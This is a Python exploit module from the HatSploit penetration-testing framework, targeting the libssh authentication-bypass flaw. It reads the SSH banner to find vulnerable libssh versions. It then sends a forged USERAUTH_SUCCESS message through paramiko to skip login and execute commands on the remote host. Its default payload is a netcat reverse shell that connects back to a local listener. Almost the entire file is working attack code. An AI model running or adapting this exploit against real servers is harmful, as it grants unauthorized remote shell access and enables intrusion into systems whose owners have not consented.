#!/usr/bin/env python3

#
# MIT License
#
# Copyright (c) 2020-2021 EntySec
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

import paramiko
import socket

from core.lib.module import Module
from utils.handler.handler import Handler
from utils.tcp.tcp import TCPClient


class HatSploitModule(Module, Handler, TCPClient):
    buffer_size = 2048
    client = None

    details = {
        'Name': "SSH LibSSH Code Execution",
        'Module': "exploit/unix/ssh/libssh_code_execution",
        'Authors': [
            '<NAME> (enty8080)',
            '<NAME> (peterwintersmith)'
        ],
        'Description': "SSH LibSSH unauthorized access Remote Code Execution.",
        'Dependencies': [
            'paramiko'
        ],
        'Comments': [
            ''
        ],
        'Platform': "unix",
        'Risk': "medium"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "unix/generic/netcat_reverse_tcp",
        'Categories': None,
        'Architectures': None,
        'Platforms': None,
        'Types': None
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 2222,
            'Type': "port",
            'Required': True
        },
        'SRVHOST': {
            'Description': "Local host to listen on.",
            'Value': TCPClient.get_local_host(),
            'Type': "ip",
            'Required': True
        },
        'SRVPORT': {
            'Description': "Local port to listen on.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        }
    }

    def obtain_banner(self, remote_host, remote_port):
        try:
            sock = socket.create_connection((remote_host, int(remote_port)))
            sock.settimeout(5)
            banner = sock.recv(self.buffer_size)
            sock.close()

            return banner.split(b'\n')[0].decode().strip()
        except Exception:
            return None

    def check_vulnerable(self, remote_host, remote_port):
        banner = self.obtain_banner(remote_host, remote_port)

        if banner:
            if any(version in banner for version in ['libssh-0.6', 'libssh_0.6']):
                return True
            if any(version in banner for version in ['libssh-0.7', 'libssh_0.7']):
                if int(banner.split('.')[-1]) < 6:
                    return True
            if any(version in banner for version in ['libssh-0.8', 'libssh_0.8']):
                if int(banner.split('.')[-1]) < 4:
                    return True
        return False

    @staticmethod
    def execute_command(remote_host, remote_port, command):
        sock = socket.socket()
        sock.connect((remote_host, int(remote_port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        transport.open_session(timeout=5).exec_command(command)

    def run(self):
        remote_host, remote_port, local_host, local_port = self.parse_options(self.options)

        self.output_process(f"Exploiting {remote_host}...")

        if not self.check_vulnerable(remote_host, remote_port):
            self.output_error("Exploit failed!")
            return

        self.handle_session(
            host=local_host,
            port=local_port,
            payload=self.payload,
            sender=self.execute_command,
            args=[remote_host, remote_port],
            timeout=10
        )
